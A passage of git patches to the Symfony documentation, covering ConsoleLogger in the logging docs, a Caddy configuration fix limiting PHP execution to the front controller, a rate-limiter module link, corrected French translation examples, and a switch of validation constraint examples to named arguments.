index c66312f88f9..0aabf9c7c5f 100644
--- a/logging.rst
+++ b/logging.rst
@@ -1,8 +1,10 @@
 Logging
 =======
 
-Symfony comes with a minimalist `PSR-3`_ logger: :class:`Symfony\\Component\\HttpKernel\\Log\\Logger`.
-In conformance with `the twelve-factor app methodology`_, it sends messages starting from the
+Symfony comes with two minimalist `PSR-3`_ loggers: :class:`Symfony\\Component\\HttpKernel\\Log\\Logger`
+for the HTTP context and :class:`Symfony\\Component\\Console\\Logger\\ConsoleLogger` for the
+CLI context.
+In conformance with `the twelve-factor app methodology`_, they send messages starting from the
 ``WARNING`` level to `stderr`_.
 
 The minimal log level can be changed by setting the ``SHELL_VERBOSITY`` environment variable:
@@ -17,13 +19,18 @@ The minimal log level can be changed by setting the ``SHELL_VERBOSITY`` environm
 =========================  =================
 
 The minimum log level, the default output and the log format can also be changed by
-passing the appropriate arguments to the constructor of :class:`Symfony\\Component\\HttpKernel\\Log\\Logger`.
-To do so, :ref:`override the "logger" service definition <service-psr4-loader>`.
+passing the appropriate arguments to the constructor of :class:`Symfony\\Component\\HttpKernel\\Log\\Logger`
+and :class:`Symfony\\Component\\Console\\Logger\\ConsoleLogger`.
+
+The :class:`Symfony\\Component\\HttpKernel\\Log\\Logger` class is available through the ``logger`` service.
+To pass your configuration, you can :ref:`override the "logger" service definition <service-psr4-loader>`.
+
+For more information about ``ConsoleLogger``, see :doc:`/components/console/logger`.
 
 Logging a Message
 -----------------
 
-To log a message, inject the default logger in your controller or service::
+To log a message using the ``logger`` service, inject the default logger in your controller or service::
 
     use Psr\Log\LoggerInterface;
     // ...
@@ -55,7 +62,7 @@ Adding placeholders to log messages is recommended because:
 * It's better for security, because escaping can then be done by the
   implementation in a context-aware fashion.
 
-The ``logger`` service has different methods for different logging levels/priorities.
+The logger implementations has different methods for different logging levels/priorities.
 See `LoggerInterface`_ for a list of all of the methods on the logger.
 
 Monolog

From fa4563353e498b9a6dc3ce20c3043f720fe1493e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Jan 2025 10:29:43 +0100
Subject: [PATCH 5327/5766] Minor tweaks

---
 logging.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/logging.rst b/logging.rst
index 0aabf9c7c5f..0ad36031dd5 100644
--- a/logging.rst
+++ b/logging.rst
@@ -3,9 +3,8 @@ Logging
 
 Symfony comes with two minimalist `PSR-3`_ loggers: :class:`Symfony\\Component\\HttpKernel\\Log\\Logger`
 for the HTTP context and :class:`Symfony\\Component\\Console\\Logger\\ConsoleLogger` for the
-CLI context.
-In conformance with `the twelve-factor app methodology`_, they send messages starting from the
-``WARNING`` level to `stderr`_.
+CLI context. In conformance with `the twelve-factor app methodology`_, they send messages
+starting from the ``WARNING`` level to `stderr`_.
 
 The minimal log level can be changed by setting the ``SHELL_VERBOSITY`` environment variable:
 
@@ -30,7 +29,7 @@ For more information about ``ConsoleLogger``, see :doc:`/components/console/logg
 Logging a Message
 -----------------
 
-To log a message using the ``logger`` service, inject the default logger in your controller or service::
+To log a message, inject the default logger in your controller or service::
 
     use Psr\Log\LoggerInterface;
     // ...
@@ -62,7 +61,7 @@ Adding placeholders to log messages is recommended because:
 * It's better for security, because escaping can then be done by the
   implementation in a context-aware fashion.
 
-The logger implementations has different methods for different logging levels/priorities.
+The ``logger`` service has different methods for different logging levels/priorities.
 See `LoggerInterface`_ for a list of all of the methods on the logger.
 
 Monolog

From 75a197b4f99ac3e80357d884f477067888f79df3 Mon Sep 17 00:00:00 2001
From: Sarim Khan <sarim2005@gmail.com>
Date: Thu, 23 Jan 2025 00:24:18 +0600
Subject: [PATCH 5328/5766] Caddy configuration don't allow sub-directory php
 files to execute. Fixes #20593

---
 setup/web_server_configuration.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index acd76c342b9..e5e06a89feb 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -207,6 +207,9 @@ When using Caddy on the server, you can use a configuration like this:
 
         # otherwise, use PHP-FPM (replace "unix//var/..." with "127.0.0.1:9000" when using TCP)
         php_fastcgi unix//var/run/php/php8.3-fpm.sock {
+            # only fallback to root index.php aka front controller.
+            try_files {path} index.php
+
             # optionally set the value of the environment variables used in the application
             # env APP_ENV "prod"
             # env APP_SECRET "<app-secret-id>"

From 698c0e74c09b10fd032e26133546b31f9e0aab9b Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Wed, 22 Jan 2025 18:51:24 -0300
Subject: [PATCH 5329/5766] Bump lowest maintained version to 6.4

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index ed323a8ee83..5c063058c02 100644
--- a/README.md
+++ b/README.md
@@ -27,8 +27,8 @@ We love contributors! For more information on how you can contribute, please rea
 the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributing/documentation/overview.html).
 
 > [!IMPORTANT]
-> Use `5.4` branch as the base of your pull requests, unless you are documenting a
-> feature that was introduced *after* Symfony 5.4 (e.g. in Symfony 7.1).
+> Use `6.4` branch as the base of your pull requests, unless you are documenting a
+> feature that was introduced *after* Symfony 6.4 (e.g. in Symfony 7.2).
 
 Build Documentation Locally
 ---------------------------

From aabca8e1d3d8b604ecd05a4e6532774369d02a40 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Wed, 22 Jan 2025 15:57:04 +0100
Subject: [PATCH 5330/5766] [RateLimiter] [Rate Limiter] Mention the
 Caddy/FrankenPHP rate limit module

---
 rate_limiter.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 970d71c8784..a53f679f1c8 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -16,8 +16,9 @@ time, but you can use them for your own features too.
     By definition, the Symfony rate limiters require Symfony to be booted
     in a PHP process. This makes them not useful to protect against `DoS attacks`_.
     Such protections must consume the least resources possible. Consider
-    using `Apache mod_ratelimit`_, `NGINX rate limiting`_ or proxies (like
-    AWS or Cloudflare) to prevent your server from being overwhelmed.
+    using `Apache mod_ratelimit`_, `NGINX rate limiting`_,
+    `Caddy HTTP rate limit module`_ (also supported by FrankenPHP)
+    or proxies (like AWS or Cloudflare) to prevent your server from being overwhelmed.
 
 .. _rate-limiter-policies:
 
@@ -543,6 +544,7 @@ you can use a specific :ref:`named lock <lock-named-locks>` via the
 .. _`DoS attacks`: https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html
 .. _`Apache mod_ratelimit`: https://httpd.apache.org/docs/current/mod/mod_ratelimit.html
 .. _`NGINX rate limiting`: https://www.nginx.com/blog/rate-limiting-nginx/
+.. _`Caddy HTTP rate limit module`: https://github.com/mholt/caddy-ratelimit
 .. _`token bucket algorithm`: https://en.wikipedia.org/wiki/Token_bucket
 .. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative
 .. _`Race conditions`: https://en.wikipedia.org/wiki/Race_condition

From cc4f5c511945a46b5c152b7f236cbcbe3ece2356 Mon Sep 17 00:00:00 2001
From: Nassim LOUNADI <39556046+nassimlnd@users.noreply.github.com>
Date: Wed, 15 Jan 2025 16:29:46 +0100
Subject: [PATCH 5331/5766] Update translations

---
 translation.rst | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/translation.rst b/translation.rst
index ed44b6d4912..98b90949b6a 100644
--- a/translation.rst
+++ b/translation.rst
@@ -145,7 +145,7 @@ different formats:
     .. code-block:: yaml
 
         # translations/messages.fr.yaml
-        Symfony is great: J'aime Symfony
+        Symfony is great: Symfony est génial
 
     .. code-block:: xml
 
@@ -156,7 +156,7 @@ different formats:
                 <body>
                     <trans-unit id="symfony_is_great">
                         <source>Symfony is great</source>
-                        <target>J'aime Symfony</target>
+                        <target>Symfony est génial</target>
                     </trans-unit>
                 </body>
             </file>
@@ -166,14 +166,14 @@ different formats:
 
         // translations/messages.fr.php
         return [
-            'Symfony is great' => "J'aime Symfony",
+            'Symfony is great' => 'Symfony est génial',
         ];
 
 You can find more information on where these files
 :ref:`should be located <translation-resource-locations>`.
 
 Now, if the language of the user's locale is French (e.g. ``fr_FR`` or ``fr_BE``),
-the message will be translated into ``J'aime Symfony``. You can also translate
+the message will be translated into ``Symfony est génial``. You can also translate
 the message inside your :ref:`templates <translation-in-templates>`.
 
 .. _translation-real-vs-keyword-messages:
@@ -1219,7 +1219,7 @@ for the ``fr`` locale:
                 <body>
                     <trans-unit id="1">
                         <source>Symfony is great</source>
-                        <target>J'aime Symfony</target>
+                        <target>Symfony est génial</target>
                     </trans-unit>
                 </body>
             </file>
@@ -1228,13 +1228,13 @@ for the ``fr`` locale:
     .. code-block:: yaml
 
         # translations/messages.fr.yaml
-        Symfony is great: J'aime Symfony
+        Symfony is great: Symfony est génial
 
     .. code-block:: php
 
         // translations/messages.fr.php
         return [
-            'Symfony is great' => 'J\'aime Symfony',
+            'Symfony is great' => 'Symfony est génial',
         ];
 
 and for the ``en`` locale:
@@ -1277,7 +1277,7 @@ To inspect all messages in the ``fr`` locale for the application, run:
     ---------  ------------------  ----------------------  -------------------------------
      State      Id                  Message Preview (fr)    Fallback Message Preview (en)
     ---------  ------------------  ----------------------  -------------------------------
-     unused     Symfony is great    J'aime Symfony          Symfony is great
+     unused     Symfony is great    Symfony est génial      Symfony is great
     ---------  ------------------  ----------------------  -------------------------------
 
 It shows you a table with the result when translating the message in the ``fr``
@@ -1297,7 +1297,7 @@ output:
     ---------  ------------------  ----------------------  -------------------------------
      State      Id                  Message Preview (fr)    Fallback Message Preview (en)
     ---------  ------------------  ----------------------  -------------------------------
-                Symfony is great    J'aime Symfony          Symfony is great
+                Symfony is great    Symfony est génial      Symfony is great
     ---------  ------------------  ----------------------  -------------------------------
 
 The state is empty which means the message is translated in the ``fr`` locale

From a00dddbdd82e84c84387f536cac06ca7f0027de1 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 24 Jan 2025 11:36:59 +0100
Subject: [PATCH 5332/5766] use named-arguments to configure validation
 constraint options

---
 components/console/helpers/questionhelper.rst |   8 +-
 components/options_resolver.rst               |   2 +-
 components/validator.rst                      |   2 +-
 components/validator/metadata.rst             |   8 +-
 components/validator/resources.rst            |   8 +-
 controller/upload_file.rst                    |  10 +-
 form/without_class.rst                        |   8 +-
 reference/constraints/All.rst                 |  10 +-
 reference/constraints/AtLeastOneOf.rst        |  26 ++---
 reference/constraints/Callback.rst            |   2 +-
 reference/constraints/CardScheme.rst          |  10 +-
 reference/constraints/Choice.rst              |  22 ++--
 reference/constraints/Collection.rst          |  46 ++++----
 reference/constraints/Compound.rst            |   4 +-
 reference/constraints/Count.rst               |  12 +--
 reference/constraints/CssColor.rst            |  18 ++--
 reference/constraints/DivisibleBy.rst         |   6 +-
 reference/constraints/Email.rst               |   6 +-
 reference/constraints/EqualTo.rst             |   6 +-
 reference/constraints/Expression.rst          |  26 ++---
 reference/constraints/ExpressionSyntax.rst    |   6 +-
 reference/constraints/File.rst                |  10 +-
 reference/constraints/GreaterThan.rst         |   6 +-
 reference/constraints/GreaterThanOrEqual.rst  |   6 +-
 reference/constraints/Hostname.rst            |   6 +-
 reference/constraints/Iban.rst                |   6 +-
 reference/constraints/IdenticalTo.rst         |   6 +-
 reference/constraints/Image.rst               |  20 ++--
 reference/constraints/IsFalse.rst             |   6 +-
 reference/constraints/IsTrue.rst              |   6 +-
 reference/constraints/Isbn.rst                |   8 +-
 reference/constraints/Json.rst                |   6 +-
 reference/constraints/Length.rst              |  12 +--
 reference/constraints/LessThan.rst            |   6 +-
 reference/constraints/LessThanOrEqual.rst     |   6 +-
 reference/constraints/Locale.rst              |   6 +-
 reference/constraints/Luhn.rst                |   6 +-
 reference/constraints/NotEqualTo.rst          |   6 +-
 reference/constraints/NotIdenticalTo.rst      |   6 +-
 reference/constraints/PasswordStrength.rst    |  12 +--
 reference/constraints/Range.rst               |  34 +++---
 reference/constraints/Regex.rst               |  26 ++---
 reference/constraints/Sequentially.rst        |   4 +-
 reference/constraints/Type.rst                |  18 ++--
 reference/constraints/Unique.rst              |   6 +-
 reference/constraints/UniqueEntity.rst        |  16 +--
 reference/constraints/Url.rst                 |  26 ++---
 reference/constraints/Valid.rst               |   4 +-
 reference/constraints/Week.rst                |   8 +-
 reference/constraints/When.rst                |  24 ++---
 reference/constraints/WordCount.rst           |   8 +-
 reference/constraints/Yaml.rst                |  14 +--
 .../_comparison-value-option.rst.inc          |   2 +-
 validation.rst                                | 102 ++----------------
 validation/custom_constraint.rst              |  12 ++-
 validation/groups.rst                         |  30 +++---
 validation/sequence_provider.rst              |  16 +--
 validation/severity.rst                       |  18 ++--
 validation/translations.rst                   |  10 +-
 59 files changed, 343 insertions(+), 427 deletions(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 3dc97d5c0d3..c7e064b16ca 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -480,10 +480,10 @@ invalid answer and will only be able to proceed if their input is valid.
         use Symfony\Component\Validator\Validation;
 
         $question = new Question('Please enter the name of the bundle', 'AcmeDemoBundle');
-        $validation = Validation::createCallable(new Regex([
-            'pattern' => '/^[a-zA-Z]+Bundle$/',
-            'message' => 'The name of the bundle should be suffixed with \'Bundle\'',
-        ]));
+        $validation = Validation::createCallable(new Regex(
+            pattern: '/^[a-zA-Z]+Bundle$/',
+            message: 'The name of the bundle should be suffixed with \'Bundle\'',
+        ));
         $question->setValidator($validation);
 
 Validating a Hidden Response
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 95741a7e372..65685106c13 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -394,7 +394,7 @@ returns ``true`` for acceptable values and ``false`` for invalid values::
 
         // ...
         $resolver->setAllowedValues('transport', Validation::createIsValidCallable(
-            new Length(['min' => 10 ])
+            new Length(min: 10)
         ));
 
 In sub-classes, you can use :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::addAllowedValues`
diff --git a/components/validator.rst b/components/validator.rst
index 085c77a7946..12c61507257 100644
--- a/components/validator.rst
+++ b/components/validator.rst
@@ -36,7 +36,7 @@ characters long::
 
     $validator = Validation::createValidator();
     $violations = $validator->validate('Bernhard', [
-        new Length(['min' => 10]),
+        new Length(min: 10),
         new NotBlank(),
     ]);
 
diff --git a/components/validator/metadata.rst b/components/validator/metadata.rst
index e7df42413bc..782e1ee216f 100755
--- a/components/validator/metadata.rst
+++ b/components/validator/metadata.rst
@@ -24,7 +24,7 @@ the ``Author`` class has at least 3 characters::
             $metadata->addPropertyConstraint('firstName', new Assert\NotBlank());
             $metadata->addPropertyConstraint(
                 'firstName',
-                new Assert\Length(["min" => 3])
+                new Assert\Length(min: 3)
             );
         }
     }
@@ -55,9 +55,9 @@ Then, add the Validator component configuration to the class::
     {
         public static function loadValidatorMetadata(ClassMetadata $metadata): void
         {
-            $metadata->addGetterConstraint('passwordSafe', new Assert\IsTrue([
-                'message' => 'The password cannot match your first name',
-            ]));
+            $metadata->addGetterConstraint('passwordSafe', new Assert\IsTrue(
+                message: 'The password cannot match your first name',
+            ));
         }
     }
 
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index 5b1448dfba1..64bf26e44d5 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -42,10 +42,10 @@ In this example, the validation metadata is retrieved executing the
         public static function loadValidatorMetadata(ClassMetadata $metadata): void
         {
             $metadata->addPropertyConstraint('name', new Assert\NotBlank());
-            $metadata->addPropertyConstraint('name', new Assert\Length([
-                'min' => 5,
-                'max' => 20,
-            ]));
+            $metadata->addPropertyConstraint('name', new Assert\Length(
+                min: 5,
+                max: 20,
+            ));
         }
     }
 
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index b3dc2d6ffd0..cff326a8e2b 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -75,14 +75,14 @@ so Symfony doesn't try to get/set its value from the related entity::
                     // unmapped fields can't define their validation using attributes
                     // in the associated entity, so you can use the PHP constraint classes
                     'constraints' => [
-                        new File([
-                            'maxSize' => '1024k',
-                            'mimeTypes' => [
+                        new File(
+                            maxSize: '1024k',
+                            mimeTypes: [
                                 'application/pdf',
                                 'application/x-pdf',
                             ],
-                            'mimeTypesMessage' => 'Please upload a valid PDF document',
-                        ])
+                            mimeTypesMessage: 'Please upload a valid PDF document',
+                        )
                     ],
                 ])
                 // ...
diff --git a/form/without_class.rst b/form/without_class.rst
index 8b0af7cf23f..5fec7f3a663 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -96,12 +96,12 @@ but here's a short example::
     {
         $builder
             ->add('firstName', TextType::class, [
-                'constraints' => new Length(['min' => 3]),
+                'constraints' => new Length(min: 3),
             ])
             ->add('lastName', TextType::class, [
                 'constraints' => [
                     new NotBlank(),
-                    new Length(['min' => 3]),
+                    new Length(min: 3),
                 ],
             ])
         ;
@@ -153,10 +153,10 @@ This can be done by setting the ``constraints`` option in the
         $resolver->setDefaults([
             'data_class' => null,
             'constraints' => new Collection([
-                'firstName' => new Length(['min' => 3]),
+                'firstName' => new Length(min: 3),
                 'lastName' => [
                     new NotBlank(),
-                    new Length(['min' => 3]),
+                    new Length(min: 3),
                 ],
             ]),
         ]);
diff --git a/reference/constraints/All.rst b/reference/constraints/All.rst
index 3aa05b1d2d0..43ff4d6ac9d 100644
--- a/reference/constraints/All.rst
+++ b/reference/constraints/All.rst
@@ -79,12 +79,12 @@ entry in that array:
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('favoriteColors', new Assert\All([
-                    'constraints' => [
+                $metadata->addPropertyConstraint('favoriteColors', new Assert\All(
+                    constraints: [
                         new Assert\NotBlank(),
-                        new Assert\Length(['min' => 5]),
+                        new Assert\Length(min: 5),
                     ],
-                ]));
+                ));
             }
         }
 
@@ -97,7 +97,7 @@ Options
 ``constraints``
 ~~~~~~~~~~~~~~~
 
-**type**: ``array`` [:ref:`default option <validation-default-option>`]
+**type**: ``array``
 
 This required option is the array of validation constraints that you want
 to apply to each element of the underlying array.
diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst
index 0a6ab618aa5..fecbe617f5a 100644
--- a/reference/constraints/AtLeastOneOf.rst
+++ b/reference/constraints/AtLeastOneOf.rst
@@ -115,23 +115,23 @@ The following constraints ensure that:
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('password', new Assert\AtLeastOneOf([
-                    'constraints' => [
-                        new Assert\Regex(['pattern' => '/#/']),
-                        new Assert\Length(['min' => 10]),
+                $metadata->addPropertyConstraint('password', new Assert\AtLeastOneOf(
+                    constraints: [
+                        new Assert\Regex(pattern: '/#/'),
+                        new Assert\Length(min: 10),
                     ],
-                ]));
+                ));
 
-                $metadata->addPropertyConstraint('grades', new Assert\AtLeastOneOf([
-                    'constraints' => [
-                        new Assert\Count(['min' => 3]),
-                        new Assert\All([
-                            'constraints' => [
+                $metadata->addPropertyConstraint('grades', new Assert\AtLeastOneOf(
+                    constraints: [
+                        new Assert\Count(min: 3),
+                        new Assert\All(
+                            constraints: [
                                 new Assert\GreaterThanOrEqual(5),
                             ],
-                        ]),
+                        ),
                     ],
-                ]));
+                ));
             }
         }
 
@@ -141,7 +141,7 @@ Options
 constraints
 ~~~~~~~~~~~
 
-**type**: ``array`` [:ref:`default option <validation-default-option>`]
+**type**: ``array``
 
 This required option is the array of validation constraints from which at least one of
 has to be satisfied in order for the validation to succeed.
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index f4c78a9642a..017b9435cff 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -259,7 +259,7 @@ Options
 ``callback``
 ~~~~~~~~~~~~
 
-**type**: ``string``, ``array`` or ``Closure`` [:ref:`default option <validation-default-option>`]
+**type**: ``string``, ``array`` or ``Closure``
 
 The callback option accepts three different formats for specifying the
 callback method:
diff --git a/reference/constraints/CardScheme.rst b/reference/constraints/CardScheme.rst
index 6e98e6fab98..a2ed9c568c3 100644
--- a/reference/constraints/CardScheme.rst
+++ b/reference/constraints/CardScheme.rst
@@ -77,12 +77,12 @@ on an object that will contain a credit card number.
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('cardNumber', new Assert\CardScheme([
-                    'schemes' => [
+                $metadata->addPropertyConstraint('cardNumber', new Assert\CardScheme(
+                    schemes: [
                         Assert\CardScheme::VISA,
                     ],
-                    'message' => 'Your credit card number is invalid.',
-                ]));
+                    message: 'Your credit card number is invalid.',
+                ));
             }
         }
 
@@ -114,7 +114,7 @@ Parameter        Description
 ``schemes``
 ~~~~~~~~~~~
 
-**type**: ``mixed`` [:ref:`default option <validation-default-option>`]
+**type**: ``mixed``
 
 This option is required and represents the name of the number scheme used
 to validate the credit card number, it can either be a string or an array.
diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 5a9c365be37..cdf6b6e47fd 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -100,10 +100,10 @@ If your valid choice list is simple, you can pass them in directly via the
                     new Assert\Choice(['New York', 'Berlin', 'Tokyo'])
                 );
 
-                $metadata->addPropertyConstraint('genre', new Assert\Choice([
-                    'choices' => ['fiction', 'non-fiction'],
-                    'message' => 'Choose a valid genre.',
-                ]));
+                $metadata->addPropertyConstraint('genre', new Assert\Choice(
+                    choices: ['fiction', 'non-fiction'],
+                    message: 'Choose a valid genre.',
+                ));
             }
         }
 
@@ -182,9 +182,9 @@ constraint.
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('genre', new Assert\Choice([
-                    'callback' => 'getGenres',
-                ]));
+                $metadata->addPropertyConstraint('genre', new Assert\Choice(
+                    callback: 'getGenres',
+                ));
             }
         }
 
@@ -250,9 +250,9 @@ you can pass the class name and the method as an array.
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('genre', new Assert\Choice([
-                    'callback' => [Genre::class, 'getGenres'],
-                ]));
+                $metadata->addPropertyConstraint('genre', new Assert\Choice(
+                    callback: [Genre::class, 'getGenres'],
+                ));
             }
         }
 
@@ -271,7 +271,7 @@ to return the choices array. See
 ``choices``
 ~~~~~~~~~~~
 
-**type**: ``array`` [:ref:`default option <validation-default-option>`]
+**type**: ``array``
 
 A required option (unless `callback`_ is specified) - this is the array
 of options that should be considered in the valid set. The input value
diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index 2d16d201b17..c35a0103581 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -139,8 +139,8 @@ following:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('profileData', new Assert\Collection([
-                    'fields' => [
+                $metadata->addPropertyConstraint('profileData', new Assert\Collection(
+                    fields: [
                         'personal_email' => new Assert\Email(),
                         'short_bio' => [
                             new Assert\NotBlank(),
@@ -150,8 +150,8 @@ following:
                             ]),
                         ],
                     ],
-                    'allowMissingFields' => true,
-                ]));
+                    allowMissingFields: true,
+                ));
             }
         }
 
@@ -267,15 +267,15 @@ you can do the following:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('profileData', new Assert\Collection([
-                    'fields' => [
+                $metadata->addPropertyConstraint('profileData', new Assert\Collection(
+                    fields: [
                         'personal_email'  => new Assert\Required([
                             new Assert\NotBlank(),
                             new Assert\Email(),
                         ]),
                         'alternate_email' => new Assert\Optional(new Assert\Email()),
                     ],
-                ]));
+                ));
             }
         }
 
@@ -291,28 +291,28 @@ groups. Take the following example::
 
     use Symfony\Component\Validator\Constraints as Assert;
 
-    $constraint = new Assert\Collection([
-        'fields' => [
+    $constraint = new Assert\Collection(
+        fields: [
             'name' => new Assert\NotBlank(['groups' => 'basic']),
             'email' => new Assert\NotBlank(['groups' => 'contact']),
         ],
-    ]);
+    );
 
 This will result in the following configuration::
 
-    $constraint = new Assert\Collection([
-        'fields' => [
-            'name' => new Assert\Required([
-                'constraints' => new Assert\NotBlank(['groups' => 'basic']),
-                'groups' => ['basic', 'strict'],
-            ]),
-            'email' => new Assert\Required([
-                "constraints" => new Assert\NotBlank(['groups' => 'contact']),
-                'groups' => ['basic', 'strict'],
-            ]),
+    $constraint = new Assert\Collection(
+        fields: [
+            'name' => new Assert\Required(
+                constraints: new Assert\NotBlank(groups: ['basic']),
+                groups: ['basic', 'strict'],
+            ),
+            'email' => new Assert\Required(
+                constraints: new Assert\NotBlank(groups: ['contact']),
+                groups: ['basic', 'strict'],
+            ),
         ],
-        'groups' => ['basic', 'strict'],
-    ]);
+        groups: ['basic', 'strict'],
+    );
 
 The default ``allowMissingFields`` option requires the fields in all groups.
 So when validating in ``contact`` group, ``$name`` can be empty but the key is
@@ -360,7 +360,7 @@ Parameter        Description
 ``fields``
 ~~~~~~~~~~
 
-**type**: ``array`` [:ref:`default option <validation-default-option>`]
+**type**: ``array``
 
 This option is required and is an associative array defining all of the
 keys in the collection and, for each key, exactly which validator(s) should
diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst
index 0d0dc933ae0..4d2c7743176 100644
--- a/reference/constraints/Compound.rst
+++ b/reference/constraints/Compound.rst
@@ -35,9 +35,9 @@ you can create your own named set or requirements to be reused consistently ever
                 return [
                     new Assert\NotBlank(),
                     new Assert\Type('string'),
-                    new Assert\Length(['min' => 12]),
+                    new Assert\Length(min: 12),
                     new Assert\NotCompromisedPassword(),
-                    new Assert\PasswordStrength(['minScore' => 4]),
+                    new Assert\PasswordStrength(minScore: 4),
                 ];
             }
         }
diff --git a/reference/constraints/Count.rst b/reference/constraints/Count.rst
index 0bf40aca8e9..d33c54c0812 100644
--- a/reference/constraints/Count.rst
+++ b/reference/constraints/Count.rst
@@ -82,12 +82,12 @@ you might add the following:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('emails', new Assert\Count([
-                    'min' => 1,
-                    'max' => 5,
-                    'minMessage' => 'You must specify at least one email',
-                    'maxMessage' => 'You cannot specify more than {{ limit }} emails',
-                ]));
+                $metadata->addPropertyConstraint('emails', new Assert\Count(
+                    min: 1,
+                    max: 5,
+                    minMessage: 'You must specify at least one email',
+                    maxMessage: 'You cannot specify more than {{ limit }} emails',
+                ));
             }
         }
 
diff --git a/reference/constraints/CssColor.rst b/reference/constraints/CssColor.rst
index 88a4eb4be9f..b617ebf1c42 100644
--- a/reference/constraints/CssColor.rst
+++ b/reference/constraints/CssColor.rst
@@ -110,15 +110,15 @@ the named CSS colors:
             {
                 $metadata->addPropertyConstraint('defaultColor', new Assert\CssColor());
 
-                $metadata->addPropertyConstraint('accentColor', new Assert\CssColor([
-                    'formats' => Assert\CssColor::HEX_LONG,
-                    'message' => 'The accent color must be a 6-character hexadecimal color.',
-                ]));
-
-                $metadata->addPropertyConstraint('currentColor', new Assert\CssColor([
-                    'formats' => [Assert\CssColor::BASIC_NAMED_COLORS, Assert\CssColor::EXTENDED_NAMED_COLORS],
-                    'message' => 'The color "{{ value }}" is not a valid CSS color name.',
-                ]));
+                $metadata->addPropertyConstraint('accentColor', new Assert\CssColor(
+                    formats: Assert\CssColor::HEX_LONG,
+                    message: 'The accent color must be a 6-character hexadecimal color.',
+                ));
+
+                $metadata->addPropertyConstraint('currentColor', new Assert\CssColor(
+                    formats: [Assert\CssColor::BASIC_NAMED_COLORS, Assert\CssColor::EXTENDED_NAMED_COLORS],
+                    message: 'The color "{{ value }}" is not a valid CSS color name.',
+                ));
             }
         }
 
diff --git a/reference/constraints/DivisibleBy.rst b/reference/constraints/DivisibleBy.rst
index dd90ad9a0fd..23b36023cff 100644
--- a/reference/constraints/DivisibleBy.rst
+++ b/reference/constraints/DivisibleBy.rst
@@ -92,9 +92,9 @@ The following constraints ensure that:
             {
                 $metadata->addPropertyConstraint('weight', new Assert\DivisibleBy(0.25));
 
-                $metadata->addPropertyConstraint('quantity', new Assert\DivisibleBy([
-                    'value' => 5,
-                ]));
+                $metadata->addPropertyConstraint('quantity', new Assert\DivisibleBy(
+                    value: 5,
+                ));
             }
         }
 
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 516d6d07dca..41012e5e935 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -70,9 +70,9 @@ Basic Usage
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('email', new Assert\Email([
-                    'message' => 'The email "{{ value }}" is not a valid email.',
-                ]));
+                $metadata->addPropertyConstraint('email', new Assert\Email(
+                    message: 'The email "{{ value }}" is not a valid email.',
+                ));
             }
         }
 
diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst
index d5d78f60a0f..fdc402b1a97 100644
--- a/reference/constraints/EqualTo.rst
+++ b/reference/constraints/EqualTo.rst
@@ -91,9 +91,9 @@ and that the ``age`` is ``20``, you could do the following:
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\EqualTo('Mary'));
 
-                $metadata->addPropertyConstraint('age', new Assert\EqualTo([
-                    'value' => 20,
-                ]));
